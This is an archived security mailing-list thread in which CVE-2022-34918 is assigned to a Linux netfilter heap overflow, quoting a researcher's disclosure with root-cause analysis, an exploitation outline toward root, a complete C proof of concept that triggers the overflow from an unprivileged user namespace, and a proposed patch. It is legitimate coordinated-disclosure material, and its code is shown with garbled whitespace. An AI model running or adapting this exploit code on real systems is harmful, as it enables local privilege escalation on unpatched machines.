Re: Linux kernel: Netfilter heap buffer overflow in nft_set_elem_init

From: Marcus Meissner <meissner () suse de>
Date: Tue, 5 Jul 2022 08:56:28 +0200

```
Hi,

Mitre has assigned CVE-2022-34918 to this issue.

Ciao, Marcus
On Sat, Jul 02, 2022 at 09:37:46PM +0200, Solar Designer wrote:
> Hi,
>
> The message below was meant to start an embargo for the issue, but it
> was CC'ed to netfilter-devel, which is a public mailing list, so it also
> appears here:
>
> https://lore.kernel.org/netfilter-devel/cd9428b6-7ffb-dd22-d949-d86f4869f452 ()
> randorisec fr/T/#u
>
> In fact, I am forwarding a copy as downloaded from "lore", but of course
> it looks identical to what reached linux-distros.
>
> Alexander
>
> ----- Forwarded message from Hugues ANGUELKOV <hanguelkov () randorisec fr> -----
>
> Date: Fri, 1 Jul 2022 17:43:16 +0200
> To: linux-distros
> Cc: security, pablo, kadlec, fw, netfilter-devel, coreteam, davy, amongodin
> From: Hugues ANGUELKOV <hanguelkov () randorisec fr>
> Subject: [vs] Netfilter vulnerability disclosure
>
> Hello everyone,
>
> One of our collaborators at RandoriSec, Arthur Mongodin found a
> vulnerability within the netfilter subsystem during his internship.
> Successful exploitation of this bug leads to a Local Privilege
> Escalation (LPE) to the `root` user, as tested on Ubuntu server 22.04
> (Linux 5.15.0-39-generic).
> This vulnerability is a heap buffer overflow due to a weak check and has
> been introduced within the commit
> [fdb9c405e35bdc6e305b9b4e20ebc141ed14fc81]
```

(https://github.com/torvalds/linux/commit/fdb9c405e35bdc6e305b9b4e20ebc141ed14fc81),

it affects the Linux kernel since the version 5.8 and is still present today.

The heap buffer overflow happens in the function `nft_set_elem_init`
(`/net/netfilter/nf_tables_api.c`)

```c
void *nft_set_elem_init(const struct nft_set *set,
?????????? const struct nft_set_ext_tmpl *tmpl,
?????????? const u32 *key, const u32 *key_end,
?????????? const u32 *data, u64 timeout, u64 expiration, gfp_t gfp)
{
??? struct nft_set_ext *ext;
??? void *elem;

??? elem = kzalloc(set->ops->elemsize + tmpl->len,
gfp);????????????????????? <===== (0)
??? if (elem == NULL)
??????? return NULL;

??? ...

??? if (nft_set_ext_exists(ext, NFT_SET_EXT_DATA))
??????? memcpy(nft_set_ext_data(ext), data,
set->dlen);????????????????????? <===== (1)

??? ...

??? return elem;
}
```

A buffer is allocated at (0) without taking in consideration the value
`set->dlen` used at (1) for the copy.
The computation of the needed space (`tmpl->len`) is realized before the
call to `nft_set_elem_init`, however,
?a weak check on a user input allows a user to provide an element with
a data length lower than the `set->dlen` for the allocation.
This check is located within the function `nft_set_elem_parse_data`
(`/net/netfilter/nf_tables_api.c`).

```c
static int nft_setelem_parse_data(struct nft_ctx *ctx, struct nft_set *set,
???????????????????? struct nft_data_desc *desc,
???????????????????? struct nft_data *data,
???????????????????? struct nlattr *attr)
{

??? ...

??? if (desc->type != NFT_DATA_VERDICT && desc->len != set->dlen)
{???????? <===== (2)
??????? nft_data_release(data, desc->type);
??????? return -EINVAL;
??? }

??? return 0;
}
```

As we can see at (2), if the data type is `NFT_DATA_VERDICT`, the
comparison between `desc->len` and `set->dlen` is not done.
Finally, `desc->len` it is used to compute `tmpl->len` at (0) and
`set->dlen` for the copy at (1) and they can be different.

The vulnerable code path can be reached if the kernel is built with the
configuration `CONFIG_NETFILTER`, `CONFIG_NF_TABLES` enabled.
To exploit the vulnerability, an attacker may need to obtain an

unprivileged user namespace to gain the capability `CAP_NET_ADMIN`
(`CONFIG_USER_NS` and `CONFIG_NET_NS` enabled, and
`kernel.unprivileged_userns_clone = 1`).

The exploitation was simplified by the use of an uninitialized variable
in `nft_add_set_elem`:

```c
static int nft_add_set_elem(struct nft_ctx *ctx, struct nft_set *set,
const struct nlattr *attr, u32 nlmsg_flags)
{
? struct nft_set_elem elem;
? ...
}
```

First we add an `elem` with the type `NFT_DATA_VALUE`, then `elem.data`
will be filled `set->dlen` bytes, the second iteration will only erase
the first bytes of `elem.data` with an element of type `NFT_DATA_VERDICT`.

We get an infoleak by overwriting the field `datalen` of
an`user_key_payload` structure. The write primitive can be obtained with
an unlinking attack on the `list_head` of the `simple_xattr` structure.
We targeted the `modprobe_path` to gain root permission by executing a
shell wrapper.

The following Proof of Concept (PoC) will trigger KASAN on the upstream
kernel (Linux 5.19.0-rc4)

```c
#define _GNU_SOURCE
#include <stdio.h>
#include <sched.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <limits.h>
#include <arpa/inet.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nf_tables.h>

#define do_error_exit(msg) do {perror("[-] " msg); exit(EXIT_FAILURE); }
while(0)

#define ID 1337
#define SET_NAME "name\0\0\0"
#define LEAK_SET_NAME "leak\0\0\0"
#define TABLE "table\0\0"

#define U32_NLA_SIZE (sizeof(struct nlattr) + sizeof(uint32_t))
#define U64_NLA_SIZE (sizeof(struct nlattr) + sizeof(uint64_t))
#define S8_NLA_SIZE (sizeof(struct nlattr) + 8)
#define NLA_BIN_SIZE(x) (sizeof(struct nlattr) + x)
#define NLA_ATTR(attr) ((void *)attr + NLA_HDRLEN)

#define TABLEMSG_SIZE NLMSG_SPACE(sizeof(struct nfgenmsg) +
sizeof(struct nlattr) + 8)

#define KMALLOC64_KEYLEN (64 - 8 - 12 - 16) // Max size - elemsize -
sizeof(nft_set_ext)(align) - min datasize

#define BUFFER_SIZE 64
```

```
uint8_t buffer[BUFFER_SIZE] = {0};

void new_ns(void) {

??? if (unshare(CLONE_NEWUSER))
??????? do_error_exit("unshare(CLONE_NEWUSER)");

??? if (unshare(CLONE_NEWNET))
??????? do_error_exit("unshare(CLONE_NEWNET)");
}

struct nlmsghdr *get_batch_begin_nlmsg(void) {

??? struct nlmsghdr *nlh = (struct nlmsghdr
*)malloc(NLMSG_SPACE(sizeof(struct nfgenmsg)));
??? struct nfgenmsg *nfgm = (struct nfgenmsg *)NLMSG_DATA(nlh);

??? if (!nlh)
??????? do_error_exit("malloc");

??? memset(nlh, 0, NLMSG_SPACE(sizeof(struct nfgenmsg)));
??? nlh->nlmsg_len = NLMSG_SPACE(sizeof(struct nfgenmsg));
??? nlh->nlmsg_type = NFNL_MSG_BATCH_BEGIN;
??? nlh->nlmsg_pid = getpid();
??? nlh->nlmsg_flags = 0;
??? nlh->nlmsg_seq = 0;

??? /* Used to access to the netfilter tables subsystem */
??? nfgm->res_id = NFNL_SUBSYS_NFTABLES;

??? return nlh;
}

struct nlmsghdr *get_batch_end_nlmsg(void) {

??? struct nlmsghdr *nlh = (struct nlmsghdr
*)malloc(NLMSG_SPACE(sizeof(struct nfgenmsg)));

??? if (!nlh)
??????? do_error_exit("malloc");

??? memset(nlh, 0, NLMSG_SPACE(sizeof(struct nfgenmsg)));
??? nlh->nlmsg_len = NLMSG_SPACE(sizeof(struct nfgenmsg));
??? nlh->nlmsg_type = NFNL_MSG_BATCH_END;
??? nlh->nlmsg_pid = getpid();
??? nlh->nlmsg_flags = NLM_F_REQUEST;
??? nlh->nlmsg_seq = 0;

??? return nlh;
}

struct nlattr *set_nested_attr(struct nlattr *attr, uint16_t type,
uint16_t data_len) {
??? attr->nla_type = type;
??? attr->nla_len = NLA_ALIGN(data_len + sizeof(struct nlattr));
??? return (void *)attr + sizeof(struct nlattr);
}

struct nlattr *set_u32_attr(struct nlattr *attr, uint16_t type, uint32_t
value) {
??? attr->nla_type = type;
??? attr->nla_len = U32_NLA_SIZE;
??? *(uint32_t *)NLA_ATTR(attr) = htonl(value);

??? return (void *)attr + U32_NLA_SIZE;
}

struct nlattr *set_str8_attr(struct nlattr *attr, uint16_t type, const
char name[8]) {
```

```
??? attr->nla_type = type;
??? attr->nla_len = S8_NLA_SIZE;
??? memcpy(NLA_ATTR(attr), name, 8);

??? return (void *)attr + S8_NLA_SIZE;
}

struct nlattr *set_binary_attr(struct nlattr *attr, uint16_t type,
uint8_t *buffer, uint64_t buffer_size) {
??? attr->nla_type = type;
??? attr->nla_len = NLA_BIN_SIZE(buffer_size);
??? memcpy(NLA_ATTR(attr), buffer, buffer_size);

??? return (void *)attr + NLA_ALIGN(NLA_BIN_SIZE(buffer_size));
}
void create_table(int sock, const char *name) {
??? struct msghdr msg;
??? struct sockaddr_nl dest_snl;
??? struct iovec iov[3];
??? struct nlmsghdr *nlh_batch_begin;
??? struct nlmsghdr *nlh;
??? struct nlmsghdr *nlh_batch_end;
??? struct nlattr *attr;
??? struct nfgenmsg *nfm;

??? /* Destination preparation */
??? memset(&dest_snl, 0, sizeof(dest_snl));
??? dest_snl.nl_family = AF_NETLINK;
??? memset(&msg, 0, sizeof(msg));

??? /* Netlink batch_begin message preparation */
??? nlh_batch_begin = get_batch_begin_nlmsg();

??? /* Netlink table message preparation */
??? nlh = (struct nlmsghdr *)malloc(TABLEMSG_SIZE);
??? if (!nlh)
??????? do_error_exit("malloc");

??? memset(nlh, 0, TABLEMSG_SIZE);
??? nlh->nlmsg_len = TABLEMSG_SIZE;
??? nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWTABLE;
??? nlh->nlmsg_pid = getpid();
??? nlh->nlmsg_flags = NLM_F_REQUEST;
??? nlh->nlmsg_seq = 0;

??? nfm = NLMSG_DATA(nlh);
??? nfm->nfgen_family = NFPROTO_INET;

??? /** Prepare associated attribute **/
??? attr = (void *)nlh + NLMSG_SPACE(sizeof(struct nfgenmsg));
??? set_str8_attr(attr, NFTA_TABLE_NAME, name);

??? /* Netlink batch_end message preparation */
??? nlh_batch_end = get_batch_end_nlmsg();

??? /* IOV preparation */
??? memset(iov, 0, sizeof(struct iovec) * 3);
??? iov[0].iov_base = (void *)nlh_batch_begin;
??? iov[0].iov_len = nlh_batch_begin->nlmsg_len;
??? iov[1].iov_base = (void *)nlh;
??? iov[1].iov_len = nlh->nlmsg_len;
??? iov[2].iov_base = (void *)nlh_batch_end;
??? iov[2].iov_len = nlh_batch_end->nlmsg_len;

??? /* Message header preparation */
??? msg.msg_name = (void *)&dest_snl;
??? msg.msg_namelen = sizeof(struct sockaddr_nl);
??? msg.msg_iov = iov;
??? msg.msg_iovlen = 3;
```

```
??? sendmsg(sock, &msg, 0);

??? /* Free used structures */
??? free(nlh_batch_end);
??? free(nlh);
??? free(nlh_batch_begin);
}

void create_set(int sock, const char *set_name, uint32_t set_keylen,
uint32_t data_len, const char *table_name, uint32_t id) {
??? struct msghdr msg;
??? struct sockaddr_nl dest_snl;
??? struct nlmsghdr *nlh_batch_begin;
??? struct nlmsghdr *nlh_payload;
??? struct nlmsghdr *nlh_batch_end;
??? struct nfgenmsg *nfm;
??? struct nlattr *attr;
??? uint64_t nlh_payload_size;
??? struct iovec iov[3];

??? /* Prepare the netlink sockaddr for msg */
??? memset(&dest_snl, 0, sizeof(struct sockaddr_nl));
??? dest_snl.nl_family = AF_NETLINK;

??? /* First netlink message: batch_begin */
??? nlh_batch_begin = get_batch_begin_nlmsg();

??? /* Second netlink message : Set attributes */
??? nlh_payload_size = sizeof(struct
nfgenmsg);?????????????????????????????????????? // Mandatory
??? nlh_payload_size +=
S8_NLA_SIZE;?????????????????????????????????????????????????? //
NFTA_SET_TABLE
??? nlh_payload_size +=
S8_NLA_SIZE;?????????????????????????????????????????????????? // NFTA_SET_NAME
??? nlh_payload_size +=
U32_NLA_SIZE;????????????????????????????????????????????????? // NFTA_SET_ID
??? nlh_payload_size +=
U32_NLA_SIZE;????????????????????????????????????????????????? //
NFTA_SET_KEY_LEN
??? nlh_payload_size +=
U32_NLA_SIZE;????????????????????????????????????????????????? //
NFTA_SET_FLAGS
??? nlh_payload_size +=
U32_NLA_SIZE;????????????????????????????????????????????????? //
NFTA_SET_DATA_TYPE
??? nlh_payload_size +=
U32_NLA_SIZE;????????????????????????????????????????????????? //
NFTA_SET_DATA_LEN
??? nlh_payload_size = NLMSG_SPACE(nlh_payload_size);

??? /** Allocation **/
??? nlh_payload = (struct nlmsghdr *)malloc(nlh_payload_size);
??? if (!nlh_payload)
??????? do_error_exit("malloc");

??? memset(nlh_payload, 0, nlh_payload_size);

??? /** Fill the required fields **/
??? nlh_payload->nlmsg_len = nlh_payload_size;
??? nlh_payload->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWSET;
??? nlh_payload->nlmsg_pid = getpid();
??? nlh_payload->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE;
??? nlh_payload->nlmsg_seq = 0;


??? /** Setup the nfgenmsg **/
??? nfm = (struct nfgenmsg *)NLMSG_DATA(nlh_payload);
```

```
??? nfm->nfgen_family =
NFPROTO_INET;?????????????????????????????????????????? // Verify if
it is compulsory

??? /** Setup the attributes */
??? attr = (struct nlattr *)((void *)nlh_payload +
NLMSG_SPACE(sizeof(struct nfgenmsg)));
??? attr = set_str8_attr(attr, NFTA_SET_TABLE, table_name);
??? attr = set_str8_attr(attr, NFTA_SET_NAME, set_name);
??? attr = set_u32_attr(attr, NFTA_SET_ID, id);
??? attr = set_u32_attr(attr, NFTA_SET_KEY_LEN, set_keylen);
??? attr = set_u32_attr(attr, NFTA_SET_FLAGS, NFT_SET_MAP);
??? attr = set_u32_attr(attr, NFTA_SET_DATA_TYPE, 0);
??? set_u32_attr(attr, NFTA_SET_DATA_LEN, data_len);

??? /* Last netlink message: batch_end */
??? nlh_batch_end = get_batch_end_nlmsg();

??? /* Setup the iovec */
??? memset(iov, 0, sizeof(struct iovec) * 3);
??? iov[0].iov_base = (void *)nlh_batch_begin;
??? iov[0].iov_len = nlh_batch_begin->nlmsg_len;
??? iov[1].iov_base = (void *)nlh_payload;
??? iov[1].iov_len = nlh_payload->nlmsg_len;
??? iov[2].iov_base = (void *)nlh_batch_end;
??? iov[2].iov_len = nlh_batch_end->nlmsg_len;

??? /* Prepare the message to send */
??? memset(&msg, 0, sizeof(struct msghdr));
??? msg.msg_name = (void *)&dest_snl;
??? msg.msg_namelen = sizeof(struct sockaddr_nl);
??? msg.msg_iov = iov;
??? msg.msg_iovlen = 3;

??? /* Send message */
??? sendmsg(sock, &msg, 0);

??? /* Free allocated memory */
??? free(nlh_batch_end);
??? free(nlh_payload);
??? free(nlh_batch_begin);
}

void add_elem_to_set(int sock, const char *set_name, uint32_t
set_keylen, const char *table_name, uint32_t id, uint32_t data_len,
uint8_t *data) {
??? struct msghdr msg;
??? struct sockaddr_nl dest_snl;
??? struct nlmsghdr *nlh_batch_begin;
??? struct nlmsghdr *nlh_payload;
??? struct nlmsghdr *nlh_batch_end;
??? struct nfgenmsg *nfm;
??? struct nlattr *attr;
??? uint64_t nlh_payload_size;
??? uint64_t nested_attr_size;
??? struct iovec iov[3];

??? /* Prepare the netlink sockaddr for msg */
??? memset(&dest_snl, 0, sizeof(struct sockaddr_nl));
??? dest_snl.nl_family = AF_NETLINK;

??? /* First netlink message: batch */
??? nlh_batch_begin = get_batch_begin_nlmsg();

??? /* Second netlink message : Set attributes */

??? /** Precompute the size of the nested field **/
??? nested_attr_size = 0;
```

```
??? nested_attr_size += sizeof(struct
nlattr);????????????????????????????????????? // Englobing attribute
??? nested_attr_size += sizeof(struct
nlattr);????????????????????????????????????? // NFTA_SET_ELEM_KEY
??? nested_attr_size +=
NLA_BIN_SIZE(set_keylen);????????????????????????????????????? //
NFTA_DATA_VALUE
??? nested_attr_size += sizeof(struct
nlattr);????????????????????????????????????? // NFTA_SET_ELEM_DATA
??? nested_attr_size += sizeof(struct
nlattr);????????????????????????????????????? // NFTA_DATA_VERDICT
??? nested_attr_size +=
U32_NLA_SIZE;????????????????????????????????????????????? //
NFTA_VERDICT_CODE

??? nlh_payload_size = sizeof(struct
nfgenmsg);????????????????????????????????????? // Mandatory
??? nlh_payload_size += sizeof(struct
nlattr);????????????????????????????????????? // NFTA_SET_ELEM_LIST_ELEMENTS
??? nlh_payload_size +=
nested_attr_size;????????????????????????????????????????????? // All the
stuff described above
??? nlh_payload_size +=
S8_NLA_SIZE;????????????????????????????????????????????????? //
NFTA_SET_ELEM_LIST_TABLE
??? nlh_payload_size +=
S8_NLA_SIZE;????????????????????????????????????????????????? //
NFTA_SET_ELEM_LIST_SET
??? nlh_payload_size +=
U32_NLA_SIZE;????????????????????????????????????????????????? //
NFTA_SET_ELEM_LIST_SET_ID
??? nlh_payload_size = NLMSG_SPACE(nlh_payload_size);

??? /** Allocation **/
??? nlh_payload = (struct nlmsghdr *)malloc(nlh_payload_size);
??? if (!nlh_payload) {
??????? do_error_exit("malloc");
??? }
??? memset(nlh_payload, 0, nlh_payload_size);

??? /** Fill the required fields **/
??? nlh_payload->nlmsg_len = nlh_payload_size;
??? nlh_payload->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) |
NFT_MSG_NEWSETELEM;
??? nlh_payload->nlmsg_pid = getpid();
??? nlh_payload->nlmsg_flags = NLM_F_REQUEST;
??? nlh_payload->nlmsg_seq = 0;

??? /** Setup the nfgenmsg **/
??? nfm = (struct nfgenmsg *)NLMSG_DATA(nlh_payload);
??? nfm->nfgen_family = NFPROTO_INET;

??? /** Setup the attributes */
??? attr = (struct nlattr *)((void *)nlh_payload +
NLMSG_SPACE(sizeof(struct nfgenmsg)));
??? attr = set_str8_attr(attr, NFTA_SET_ELEM_LIST_TABLE, table_name);
??? attr = set_str8_attr(attr, NFTA_SET_ELEM_LIST_SET, set_name);
??? attr = set_u32_attr(attr, NFTA_SET_ELEM_LIST_SET_ID, id);
??? attr = set_nested_attr(attr, NFTA_SET_ELEM_LIST_ELEMENTS,
nested_attr_size);

??? attr = set_nested_attr(attr, 0, nested_attr_size - 4);
??? attr = set_nested_attr(attr, NFTA_SET_ELEM_KEY,
NLA_BIN_SIZE(set_keylen));
??? attr = set_binary_attr(attr, NFTA_DATA_VALUE, (uint8_t *)buffer,
set_keylen);
??? attr = set_nested_attr(attr, NFTA_SET_ELEM_DATA, U32_NLA_SIZE +
sizeof(struct nlattr));
??? attr = set_nested_attr(attr, NFTA_DATA_VERDICT, U32_NLA_SIZE);
```

```
??? set_u32_attr(attr, NFTA_VERDICT_CODE, NFT_CONTINUE);

??? /* Last netlink message: End of batch */
??? nlh_batch_end = get_batch_end_nlmsg();

??? /* Setup the iovec */
??? memset(iov, 0, sizeof(struct iovec) * 3);
??? iov[0].iov_base = (void *)nlh_batch_begin;
??? iov[0].iov_len = nlh_batch_begin->nlmsg_len;
??? iov[1].iov_base = (void *)nlh_payload;
??? iov[1].iov_len = nlh_payload->nlmsg_len;
??? iov[2].iov_base = (void *)nlh_batch_end;
??? iov[2].iov_len = nlh_batch_end->nlmsg_len;

??? /* Prepare the message to send */
??? memset(&msg, 0, sizeof(struct msghdr));
??? msg.msg_name = (void *)&dest_snl;
??? msg.msg_namelen = sizeof(struct sockaddr_nl);
??? msg.msg_iov = iov;
??? msg.msg_iovlen = 3;

??? /* Send message */
??? sendmsg(sock, &msg, 0);

??? /* Free allocated memory */
??? free(nlh_batch_end);
??? free(nlh_payload);
??? free(nlh_batch_begin);
}

int main(int argc, char **argv) {

??? int sock;
??? struct sockaddr_nl snl;
??? struct leak *bases;

??? new_ns();
??? printf("[+] Get CAP_NET_ADMIN capability\n");

??? /* Netfilter netlink socket creation */
??? if ((sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_NETFILTER)) < 0) {
??????? do_error_exit("socket");
??? }
??? printf("[+] Netlink socket created\n");

??? // Binding
??? memset(&snl, 0, sizeof(snl));
??? snl.nl_family = AF_NETLINK;
??? snl.nl_pid = getpid();
??? if (bind(sock, (struct sockaddr *)&snl, sizeof(snl)) < 0) {
??????? do_error_exit("bind");
??? }
??? printf("[+] Netlink socket bound\n");

??? /* Create a netfilter table */
??? create_table(sock, TABLE);
??? printf("[+] Table created\n");

??? /*? Create a netfilter set */
??? create_set(sock, SET_NAME, KMALLOC64_KEYLEN, BUFFER_SIZE, TABLE, ID);
??? printf("[+] Set created\n");

??? /* Prepare the payload for the write primitive */
??? add_elem_to_set(sock, SET_NAME, KMALLOC64_KEYLEN, TABLE, ID,
BUFFER_SIZE, buffer);
??? printf("[+] Overflow done\n");

??? return EXIT_SUCCESS;
}
```

```

We propose the following patch. We think that the comparison must be
mandatory and may be enough for patch this vulnerability.
However, we are not experts at Linux kernel programming and we are still
unsure if it will not break something along the way.
This patch was applied on the current upstream version.

```diff
static int nft_setelem_parse_data(struct nft_ctx *ctx, struct nft_set *set,
???????????????? struct nft_data_desc *desc,
???????????????? struct nft_data *data,
???????????????? struct nlattr *attr)
{

??? ...

-??? if (desc->type != NFT_DATA_VERDICT && desc->len != set->dlen) {
+??? if (desc->len != set->dlen) {

?? ???? ??? ??? nft_data_release(data, desc->type);
??????? return -EINVAL;
??? }

??? return 0;
}
```

We would like to reserve a CVE for this vulnerability.

Also, we would like to release the LPE exploit targeting Ubuntu server
along with a more detailed blogpost.
If needed, we can supply the exploit. Depending of your workload, we can
suggest the August, 15th 2022 as a potential date for public disclosure.

Thank you for your attention and we also would like to thank you for all
the work put on the Linux kernel.

----- End forwarded message -----

By Date By Thread

Current thread:
```